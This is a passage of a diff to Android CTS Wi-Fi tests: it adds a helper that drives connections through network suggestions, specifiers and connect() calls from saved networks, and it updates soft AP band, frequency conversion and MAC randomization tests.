+                    WifiConfiguration matchingNetworkCopy = new WifiConfiguration(matchingNetwork);
+                    matchingNetworkCopy.BSSID = scanResult.BSSID;
+                    matchingNetworksWithBssids.add(matchingNetworkCopy);
+                }
+            }
+            if (!matchingNetworksWithBssids.isEmpty()) break;
+        }
+        return matchingNetworksWithBssids;
+    }
+
+    /**
+     * Convert the provided saved network to a corresponding suggestion builder.
+     */
+    public static WifiNetworkSuggestion.Builder
+            createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+            @NonNull WifiConfiguration network) {
+        WifiNetworkSuggestion.Builder suggestionBuilder = new WifiNetworkSuggestion.Builder()
+                .setSsid(WifiInfo.sanitizeSsid(network.SSID))
+                .setBssid(MacAddress.fromString(network.BSSID));
+        if (network.preSharedKey != null) {
+            if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+                suggestionBuilder.setWpa2Passphrase(WifiInfo.sanitizeSsid(network.preSharedKey));
+            } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+                suggestionBuilder.setWpa3Passphrase(WifiInfo.sanitizeSsid(network.preSharedKey));
+            } else {
+                fail("Unsupported security type found in saved networks");
+            }
+        } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            suggestionBuilder.setIsEnhancedOpen(true);
+        } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+            fail("Unsupported security type found in saved networks");
+        }
+        suggestionBuilder.setIsHiddenSsid(network.hiddenSSID);
+        return suggestionBuilder;
+    }
+
+
+    /**
+     * Convert the provided saved network to a corresponding specifier builder.
+     */
+    public static WifiNetworkSpecifier.Builder createSpecifierBuilderWithCredentialFromSavedNetwork(
+            @NonNull WifiConfiguration network) {
+        WifiNetworkSpecifier.Builder specifierBuilder = new WifiNetworkSpecifier.Builder()
+                .setSsid(WifiInfo.sanitizeSsid(network.SSID));
+        if (network.preSharedKey != null) {
+            if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+                specifierBuilder.setWpa2Passphrase(WifiInfo.sanitizeSsid(network.preSharedKey));
+            } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+                specifierBuilder.setWpa3Passphrase(WifiInfo.sanitizeSsid(network.preSharedKey));
+            } else {
+                fail("Unsupported security type found in saved networks");
+            }
+        } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            specifierBuilder.setIsEnhancedOpen(true);
+        } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+            fail("Unsupported security type found in saved networks");
+        }
+        specifierBuilder.setIsHiddenSsid(network.hiddenSSID);
+        return specifierBuilder;
+    }
+
+    /**
+     * Convert the provided saved network to a corresponding specifier builder.
+     */
+    public static WifiNetworkSpecifier.Builder
+            createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+            @NonNull WifiConfiguration network) {
+        return createSpecifierBuilderWithCredentialFromSavedNetwork(network)
+                .setBssid(MacAddress.fromString(network.BSSID));
+    }
+
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+        public boolean onUnavailableCalled = false;
+        public NetworkCapabilities networkCapabilities;
+
+        TestNetworkCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
+                LinkProperties linkProperties, boolean blocked) {
+            onAvailableCalled = true;
+            this.networkCapabilities = networkCapabilities;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onUnavailable() {
+            onUnavailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    private static void assertConnectionEquals(@NonNull WifiConfiguration network,
+            @NonNull WifiInfo wifiInfo) {
+        assertThat(network.SSID).isEqualTo(wifiInfo.getSSID());
+        assertThat(network.BSSID).isEqualTo(wifiInfo.getBSSID());
+    }
+
+    private static class TestActionListener implements WifiManager.ActionListener {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onSuccessCalled = false;
+        public boolean onFailedCalled = false;
+        public int failureReason = -1;
+
+        TestActionListener(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onSuccess() {
+            onSuccessCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onFailure(int reason) {
+            onFailedCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Triggers connection to one of the saved networks using {@link WifiManager#connect(
+     * WifiConfiguration, WifiManager.ActionListener)}
+     *
+     * @param network saved network from the device to use for the connection.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    public ConnectivityManager.NetworkCallback testConnectionFlowWithConnect(
+            @NonNull WifiConfiguration network) {
+        CountDownLatch countDownLatchAl = new CountDownLatch(1);
+        CountDownLatch countDownLatchNr = new CountDownLatch(1);
+        TestActionListener actionListener = new TestActionListener(countDownLatchAl);
+        TestNetworkCallback testNetworkCallback = new TestNetworkCallback(countDownLatchNr);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // File a callback for wifi network.
+            mConnectivityManager.registerNetworkCallback(
+                    new NetworkRequest.Builder()
+                            .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
+                            .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                            // Needed to ensure that the restricted concurrent connection does not
+                            // match this request.
+                            .addUnwantedCapability(NET_CAPABILITY_OEM_PAID)
+                            .addUnwantedCapability(NET_CAPABILITY_OEM_PRIVATE)
+                            .build(),
+                    testNetworkCallback);
+            // Trigger the connection.
+            mWifiManager.connect(network, actionListener);
+            // now wait for action listener callback
+            assertThat(countDownLatchAl.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            // check if we got the success callback
+            assertThat(actionListener.onSuccessCalled).isTrue();
+
+            // Wait for connection to complete & ensure we are connected to the saved network.
+            assertThat(countDownLatchNr.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(testNetworkCallback.onAvailableCalled).isTrue();
+            assertConnectionEquals(
+                    network, (WifiInfo) testNetworkCallback.networkCapabilities.getTransportInfo());
+        } catch (InterruptedException e) {
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+        return testNetworkCallback;
+    }
+
+    /**
+     * Tests the entire connection success flow using the provided suggestion.
+     *
+     * @param network saved network from the device to use for the connection.
+     * @param suggestion suggestion to use for the connection.
+     * @param executorService Excutor service to run scan periodically (to trigger connection).
+     * @param restrictedNetworkCapability Whether this connection should be restricted with
+     *                                    the provided capability.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    public ConnectivityManager.NetworkCallback testConnectionFlowWithSuggestion(
+            WifiConfiguration network, WifiNetworkSuggestion suggestion,
+            @NonNull ScheduledExecutorService executorService,
+            @Nullable Integer restrictedNetworkCapability) {
+        return testConnectionFlowWithSuggestionInternal(
+                network, suggestion, executorService, restrictedNetworkCapability, true);
+    }
+
+    /**
+     * Tests the connection failure flow using the provided suggestion.
+     *
+     * @param network saved network from the device to use for the connection.
+     * @param suggestion suggestion to use for the connection.
+     * @param executorService Excutor service to run scan periodically (to trigger connection).
+     * @param restrictedNetworkCapability Whether this connection should be restricted with
+     *                                    the provided capability.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    public ConnectivityManager.NetworkCallback testConnectionFailureFlowWithSuggestion(
+            WifiConfiguration network, WifiNetworkSuggestion suggestion,
+            @NonNull ScheduledExecutorService executorService,
+            @Nullable Integer restrictedNetworkCapability) {
+        return testConnectionFlowWithSuggestionInternal(
+                network, suggestion, executorService, restrictedNetworkCapability, false);
+    }
+
+    /**
+     * Tests the entire connection success/failure flow using the provided suggestion.
+     *
+     * @param network saved network from the device to use for the connection.
+     * @param suggestion suggestion to use for the connection.
+     * @param executorService Excutor service to run scan periodically (to trigger connection).
+     * @param restrictedNetworkCapability Whether this connection should be restricted with
+     *                                    the provided capability.
+     * @param expectConnectionSuccess Whether to expect connection success or not.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    private ConnectivityManager.NetworkCallback testConnectionFlowWithSuggestionInternal(
+            WifiConfiguration network, WifiNetworkSuggestion suggestion,
+            @NonNull ScheduledExecutorService executorService,
+            @Nullable Integer restrictedNetworkCapability,
+            boolean expectConnectionSuccess) {
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        // File the network request & wait for the callback.
+        TestNetworkCallback testNetworkCallback = new TestNetworkCallback(countDownLatch);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // File a request for restricted (oem paid) wifi network.
+            NetworkRequest.Builder nrBuilder = new NetworkRequest.Builder()
+                    .addTransportType(TRANSPORT_WIFI)
+                    .addCapability(NET_CAPABILITY_INTERNET);
+            if (restrictedNetworkCapability == null) {
+                // If not a restricted connection, a network callback is sufficient.
+                mConnectivityManager.registerNetworkCallback(
+                        nrBuilder.build(), testNetworkCallback);
+            } else {
+                nrBuilder.addCapability(restrictedNetworkCapability);
+                mConnectivityManager.requestNetwork(nrBuilder.build(), testNetworkCallback);
+            }
+            // Add wifi network suggestion.
+            assertThat(mWifiManager.addNetworkSuggestions(Arrays.asList(suggestion)))
+                    .isEqualTo(WifiManager.STATUS_NETWORK_SUGGESTIONS_SUCCESS);
+            // Wait for the request to reach the wifi stack before kick-start periodic scans.
+            Thread.sleep(100);
+            // Step: Trigger scans periodically to trigger network selection quicker.
+            executorService.scheduleAtFixedRate(() -> {
+                if (!mWifiManager.startScan()) {
+                    Log.w(TAG, "Failed to trigger scan");
+                }
+            }, 0, DURATION_MILLIS, TimeUnit.MILLISECONDS);
+            if (expectConnectionSuccess) {
+                // now wait for connection to complete and wait for callback
+                assertThat(countDownLatch.await(
+                        DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+                assertThat(testNetworkCallback.onAvailableCalled).isTrue();
+                assertConnectionEquals(
+                        network,
+                        (WifiInfo) testNetworkCallback.networkCapabilities.getTransportInfo());
+            } else {
+                // now wait for connection to timeout.
+                assertThat(countDownLatch.await(
+                        DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isFalse();
+            }
+        } catch (InterruptedException e) {
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+            executorService.shutdown();
+        }
+        return testNetworkCallback;
+    }
+
+    private static class TestNetworkRequestMatchCallback implements
+            WifiManager.NetworkRequestMatchCallback {
+        private final Object mLock;
+
+        public boolean onRegistrationCalled = false;
+        public boolean onAbortCalled = false;
+        public boolean onMatchCalled = false;
+        public boolean onConnectSuccessCalled = false;
+        public boolean onConnectFailureCalled = false;
+        public WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback = null;
+        public List<ScanResult> matchedScanResults = null;
+
+        TestNetworkRequestMatchCallback(Object lock) {
+            mLock = lock;
+        }
+
+        @Override
+        public void onUserSelectionCallbackRegistration(
+                WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback) {
+            synchronized (mLock) {
+                onRegistrationCalled = true;
+                this.userSelectionCallback = userSelectionCallback;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onAbort() {
+            synchronized (mLock) {
+                onAbortCalled = true;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onMatch(List<ScanResult> scanResults) {
+            synchronized (mLock) {
+                // This can be invoked multiple times. So, ignore after the first one to avoid
+                // disturbing the rest of the test sequence.
+                if (onMatchCalled) return;
+                onMatchCalled = true;
+                matchedScanResults = scanResults;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onUserSelectionConnectSuccess(WifiConfiguration config) {
+            synchronized (mLock) {
+                onConnectSuccessCalled = true;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onUserSelectionConnectFailure(WifiConfiguration config) {
+            synchronized (mLock) {
+                onConnectFailureCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    private void handleUiInteractions(WifiConfiguration network, boolean shouldUserReject) {
+        // can't use CountDownLatch since there are many callbacks expected and CountDownLatch
+        // cannot be reset.
+        // TODO(b/177591382): Use ArrayBlockingQueue/LinkedBlockingQueue
+        Object uiLock = new Object();
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestNetworkRequestMatchCallback networkRequestMatchCallback =
+                new TestNetworkRequestMatchCallback(uiLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            // 1. Wait for registration callback.
+            synchronized (uiLock) {
+                try {
+                    mWifiManager.registerNetworkRequestMatchCallback(
+                            Executors.newSingleThreadExecutor(), networkRequestMatchCallback);
+                    uiLock.wait(DURATION_UI_INTERACTION_MILLIS);
+                } catch (InterruptedException e) {
+                }
+            }
+            assertThat(networkRequestMatchCallback.onRegistrationCalled).isTrue();
+            assertThat(networkRequestMatchCallback.userSelectionCallback).isNotNull();
+
+            // 2. Wait for matching scan results
+            synchronized (uiLock) {
+                try {
+                    uiLock.wait(DURATION_UI_INTERACTION_MILLIS);
+                } catch (InterruptedException e) {
+                }
+            }
+            assertThat(networkRequestMatchCallback.onMatchCalled).isTrue();
+            assertThat(networkRequestMatchCallback.matchedScanResults).isNotNull();
+            assertThat(networkRequestMatchCallback.matchedScanResults.size()).isAtLeast(1);
+
+            // 3. Trigger connection to one of the matched networks or reject the request.
+            if (shouldUserReject) {
+                networkRequestMatchCallback.userSelectionCallback.reject();
+            } else {
+                networkRequestMatchCallback.userSelectionCallback.select(network);
+            }
+
+            // 4. Wait for connection success or abort.
+            synchronized (uiLock) {
+                try {
+                    uiLock.wait(DURATION_UI_INTERACTION_MILLIS);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (shouldUserReject) {
+                assertThat(networkRequestMatchCallback.onAbortCalled).isTrue();
+            } else {
+                assertThat(networkRequestMatchCallback.onConnectSuccessCalled).isTrue();
+            }
+        } finally {
+            mWifiManager.unregisterNetworkRequestMatchCallback(networkRequestMatchCallback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Tests the entire connection flow using the provided specifier.
+     *
+     * @param specifier Specifier to use for network request.
+     * @param shouldUserReject Whether to simulate user rejection or not.
+     *
+     * @return NetworkCallback used for the connection (can be used by client to release the
+     * connection.
+     */
+    public ConnectivityManager.NetworkCallback testConnectionFlowWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier, boolean shouldUserReject) {
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        // Fork a thread to handle the UI interactions.
+        Thread uiThread = new Thread(() -> handleUiInteractions(network, shouldUserReject));
+
+        // File the network request & wait for the callback.
+        TestNetworkCallback testNetworkCallback = new TestNetworkCallback(countDownLatch);
+        try {
+            // File a request for wifi network.
+            mConnectivityManager.requestNetwork(
+                    new NetworkRequest.Builder()
+                            .addTransportType(NetworkCapabilitiesProto.TRANSPORT_WIFI)
+                            .removeCapability(NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET)
+                            .setNetworkSpecifier(specifier)
+                            .build(),
+                    testNetworkCallback);
+            // Wait for the request to reach the wifi stack before kick-starting the UI
+            // interactions.
+            Thread.sleep(100);
+            // Start the UI interactions.
+            uiThread.run();
+            // now wait for callback
+            assertThat(countDownLatch.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+        } catch (InterruptedException e) {
+        }
+        if (shouldUserReject) {
+            assertThat(testNetworkCallback.onUnavailableCalled).isTrue();
+        } else {
+            assertThat(testNetworkCallback.onAvailableCalled).isTrue();
+            assertConnectionEquals(
+                    network, (WifiInfo) testNetworkCallback.networkCapabilities.getTransportInfo());
+        }
+        try {
+            // Ensure that the UI interaction thread has completed.
+            uiThread.join(DURATION_UI_INTERACTION_MILLIS);
+        } catch (InterruptedException e) {
+            fail("UI interaction interrupted");
+        }
+        return testNetworkCallback;
+    }
+
+    /**
+     * Returns the number of wifi connections visible at the networking layer.
+     */
+    public long getNumWifiConnections() {
+        Network[] networks = mConnectivityManager.getAllNetworks();
+        return Arrays.stream(networks)
+                .filter(n ->
+                        mConnectivityManager.getNetworkCapabilities(n).hasTransport(TRANSPORT_WIFI))
+                .count();
+    }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index f5fb066..63521c2 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -80,6 +80,7 @@
 import android.text.TextUtils;
 import android.util.ArraySet;
 import android.util.Log;
+import android.util.SparseArray;
 import android.util.SparseIntArray;
 
 import androidx.core.os.BuildCompat;
@@ -648,6 +649,26 @@
         }
     }
 
+    public void testConvertBetweenChannelFrequencyMhz() throws Exception {
+        int[] testFrequency_2G = {2412, 2437, 2462, 2484};
+        int[] testFrequency_5G = {5180, 5220, 5540, 5745};
+        int[] testFrequency_6G = {5955, 6435, 6535, 7115};
+        int[] testFrequency_60G = {58320, 64800};
+        SparseArray<int[]> testData = new SparseArray<>() {{
+            put(ScanResult.WIFI_BAND_24_GHZ, testFrequency_2G);
+            put(ScanResult.WIFI_BAND_5_GHZ, testFrequency_5G);
+            put(ScanResult.WIFI_BAND_6_GHZ, testFrequency_6G);
+            put(ScanResult.WIFI_BAND_60_GHZ, testFrequency_60G);
+        }};
+
+        for (int i = 0; i < testData.size(); i++) {
+            for (int frequency : testData.valueAt(i)) {
+                assertEquals(frequency, ScanResult.convertChannelToFrequencyMhz(
+                      ScanResult.convertFrequencyMhzToChannel(frequency), testData.keyAt(i)));
+            }
+        }
+    }
+
     // Return true if location is enabled.
     private boolean isLocationEnabled() {
         return Settings.Secure.getInt(getContext().getContentResolver(),
@@ -924,12 +945,52 @@
         }
     }
 
+    private List<Integer> getSupportedSoftApBand(SoftApCapability capability) {
+        List<Integer> supportedApBands = new ArrayList<>();
+        if (mWifiManager.is24GHzBandSupported() &&
+                capability.areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_BAND_24G_SUPPORTED)) {
+            supportedApBands.add(SoftApConfiguration.BAND_2GHZ);
+        }
+        if (mWifiManager.is5GHzBandSupported() &&
+                capability.areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_BAND_5G_SUPPORTED)) {
+            supportedApBands.add(SoftApConfiguration.BAND_5GHZ);
+        }
+        if (mWifiManager.is6GHzBandSupported() &&
+                capability.areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_BAND_6G_SUPPORTED)) {
+            supportedApBands.add(SoftApConfiguration.BAND_6GHZ);
+        }
+        if (mWifiManager.is60GHzBandSupported() &&
+                capability.areFeaturesSupported(
+                        SoftApCapability.SOFTAP_FEATURE_BAND_60G_SUPPORTED)) {
+            supportedApBands.add(SoftApConfiguration.BAND_60GHZ);
+        }
+        return supportedApBands;
+    }
+
     private TestLocalOnlyHotspotCallback startLocalOnlyHotspot() {
         // Location mode must be enabled for this test
         if (!isLocationEnabled()) {
             fail("Please enable location for this test");
         }
 
+        TestExecutor executor = new TestExecutor();
+        TestSoftApCallback capabilityCallback = new TestSoftApCallback(mLock);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        List<Integer> supportedSoftApBands = new ArrayList<>();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            verifyRegisterSoftApCallback(executor, capabilityCallback);
+            supportedSoftApBands = getSupportedSoftApBand(
+                    capabilityCallback.getCurrentSoftApCapability());
+        } catch (Exception ex) {
+        } finally {
+            // clean up
+            mWifiManager.unregisterSoftApCallback(capabilityCallback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
         TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLock);
         synchronized (mLock) {
             try {
@@ -945,16 +1006,15 @@
             assertNotNull(softApConfig);
             int securityType = softApConfig.getSecurityType();
             if (securityType == SoftApConfiguration.SECURITY_TYPE_OPEN
-                || securityType == SoftApConfiguration.SECURITY_TYPE_WPA2_PSK
-                || securityType == SoftApConfiguration.SECURITY_TYPE_WPA3_SAE_TRANSITION) {
+                    || securityType == SoftApConfiguration.SECURITY_TYPE_WPA2_PSK
+                    || securityType == SoftApConfiguration.SECURITY_TYPE_WPA3_SAE_TRANSITION) {
                 assertNotNull(softApConfig.toWifiConfiguration());
             } else {
                 assertNull(softApConfig.toWifiConfiguration());
             }
             if (!hasAutomotiveFeature()) {
-                // TODO: b/179557841 check the supported band to determine the assert band.
-                assertEquals(
-                        SoftApConfiguration.BAND_2GHZ,
+                assertEquals(supportedSoftApBands.size() > 0 ? supportedSoftApBands.get(0)
+                        : SoftApConfiguration.BAND_2GHZ,
                         callback.reservation.getSoftApConfiguration().getBand());
             }
             assertFalse(callback.onFailedCalled);
@@ -1678,6 +1738,7 @@
         // Bssid set dodesn't support for tethered hotspot
         SoftApConfiguration currentConfig = mWifiManager.getSoftApConfiguration();
         compareSoftApConfiguration(targetConfig, currentConfig);
+        assertTrue(currentConfig.isUserConfiguration());
     }
 
     private void compareSoftApConfiguration(SoftApConfiguration currentConfig,
@@ -1704,8 +1765,6 @@
         if (BuildCompat.isAtLeastS()) {
             assertEquals(currentConfig.getMacRandomizationSetting(),
                     testSoftApConfig.getMacRandomizationSetting());
-            assertTrue(Arrays.equals(currentConfig.getBands(),
-                    testSoftApConfig.getBands()));
             assertEquals(currentConfig.getChannels().toString(),
                     testSoftApConfig.getChannels().toString());
             assertEquals(currentConfig.isBridgedModeOpportunisticShutdownEnabled(),
@@ -1803,15 +1862,14 @@
                 () -> mWifiManager.isWifiEnabled() == true);
             turnOffWifiAndTetheredHotspotIfEnabled();
             verifyRegisterSoftApCallback(executor, callback);
-
+            int[] testBands = {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ};
             // Test bridged SoftApConfiguration set and get (setBands)
             SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
                     .setSsid(TEST_SSID_UNQUOTED)
                     .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
-                    .setBands(new int[] {
-                    SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ})
+                    .setBands(testBands)
                     .build();
-            boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(testSoftApConfig.getBands(),
+            boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(testBands,
                     callback.getCurrentSoftApCapability());
             verifySetGetSoftApConfig(testSoftApConfig);
 
@@ -2005,6 +2063,10 @@
         TestSoftApCallback callback = new TestSoftApCallback(mLock);
         try {
             uiAutomation.adoptShellPermissionIdentity();
+            // check that tethering is supported by the device
+            if (!mTetheringManager.isTetheringSupported()) {
+                return;
+            }
             turnOffWifiAndTetheredHotspotIfEnabled();
             verifyRegisterSoftApCallback(executor, callback);
 
@@ -3233,26 +3295,27 @@
     }
 
     /**
-     * Verify WifiNetworkSuggestion.Builder.setIsEnhancedMacRandomizationEnabled(true) creates a
-     * WifiConfiguration with macRandomizationSetting == RANDOMIZATION_ENHANCED.
+     * Verify WifiNetworkSuggestion.Builder.setMacRandomizationSetting(WifiNetworkSuggestion
+     * .RANDOMIZATION_NON_PERSISTENT) creates a
+     * WifiConfiguration with macRandomizationSetting == RANDOMIZATION_NON_PERSISTENT.
      * Then verify by default, a WifiConfiguration created by suggestions should have
      * macRandomizationSetting == RANDOMIZATION_PERSISTENT.
      * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
      */
     @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testSuggestionBuilderEnhancedMacRandomizationSetting() throws Exception {
+    public void testSuggestionBuilderNonPersistentRandomization() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
         }
         WifiNetworkSuggestion suggestion = new WifiNetworkSuggestion.Builder()
                 .setSsid(TEST_SSID).setWpa2Passphrase(TEST_PASSPHRASE)
-                .setIsEnhancedMacRandomizationEnabled(true)
+                .setMacRandomizationSetting(WifiNetworkSuggestion.RANDOMIZATION_NON_PERSISTENT)
                 .build();
         assertEquals(WifiManager.STATUS_NETWORK_SUGGESTIONS_SUCCESS,
                 mWifiManager.addNetworkSuggestions(Arrays.asList(suggestion)));
         verifySuggestionFoundWithMacRandomizationSetting(TEST_SSID,
-                WifiConfiguration.RANDOMIZATION_ENHANCED);
+                WifiConfiguration.RANDOMIZATION_NON_PERSISTENT);
 
         suggestion = new WifiNetworkSuggestion.Builder()
                 .setSsid(TEST_SSID).setWpa2Passphrase(TEST_PASSPHRASE)
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index d819f2c..520d364 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -16,39 +16,25 @@
 
 package android.net.wifi.cts;
 
-import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
 import static android.os.Process.myUid;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
-import static junit.framework.TestCase.assertFalse;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
-import android.app.UiAutomation;
 import android.content.Context;
 import android.net.ConnectivityManager;
-import android.net.LinkProperties;
 import android.net.MacAddress;
-import android.net.Network;
-import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
-import android.net.wifi.ScanResult;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiEnterpriseConfig;
 import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
-import android.net.wifi.WifiManager.NetworkRequestMatchCallback;
 import android.net.wifi.WifiNetworkSpecifier;
 import android.os.PatternMatcher;
-import android.os.WorkSource;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
-import android.text.TextUtils;
 
 import androidx.core.os.BuildCompat;
 import androidx.test.filters.SmallTest;
@@ -57,7 +43,6 @@
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -77,7 +62,6 @@
 import java.security.spec.InvalidKeySpecException;
 import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.List;
-import java.util.concurrent.Executors;
 
 /**
  * Tests the entire connection flow using {@link WifiNetworkSpecifier} embedded in a
@@ -192,16 +176,11 @@
     private WifiManager mWifiManager;
     private ConnectivityManager mConnectivityManager;
     private UiDevice mUiDevice;
-    private final Object mLock = new Object();
-    private final Object mUiLock = new Object();
     private WifiConfiguration mTestNetwork;
-    private TestNetworkCallback mNetworkCallback;
+    private ConnectivityManager.NetworkCallback mNrNetworkCallback;
+    private TestHelper mTestHelper;
 
     private static final int DURATION = 10_000;
-    private static final int DURATION_UI_INTERACTION = 25_000;
-    private static final int DURATION_NETWORK_CONNECTION = 60_000;
-    private static final int DURATION_SCREEN_TOGGLE = 2000;
-    private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
 
     @BeforeClass
     public static void setUpClass() throws Exception {
@@ -210,7 +189,7 @@
         if (!WifiFeature.isWifiSupported(context)) return;
 
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
-        assertNotNull(wifiManager);
+        assertThat(wifiManager).isNotNull();
 
         // turn on verbose logging for tests
         sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
@@ -224,13 +203,16 @@
                 () -> wifiManager.setScanThrottleEnabled(false));
 
         // enable Wifi
-        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+        if (!wifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
+        }
         PollingCheck.check("Wifi not enabled", DURATION, () -> wifiManager.isWifiEnabled());
 
         // check we have >= 1 saved network
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> wifiManager.getPrivilegedConfiguredNetworks());
-        assertFalse("Need at least one saved network", savedNetworks.isEmpty());
+        assertWithMessage("Need at least one saved network")
+                .that(savedNetworks.isEmpty()).isFalse();
 
         // Disconnect & disable auto-join on the saved network to prevent auto-connect from
         // interfering with the test.
@@ -248,9 +230,11 @@
         if (!WifiFeature.isWifiSupported(context)) return;
 
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
-        assertNotNull(wifiManager);
+        assertThat(wifiManager).isNotNull();
 
-        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+        if (!wifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
+        }
 
         // Re-enable networks.
         ShellIdentityUtils.invokeWithShellPermissions(
@@ -271,11 +255,12 @@
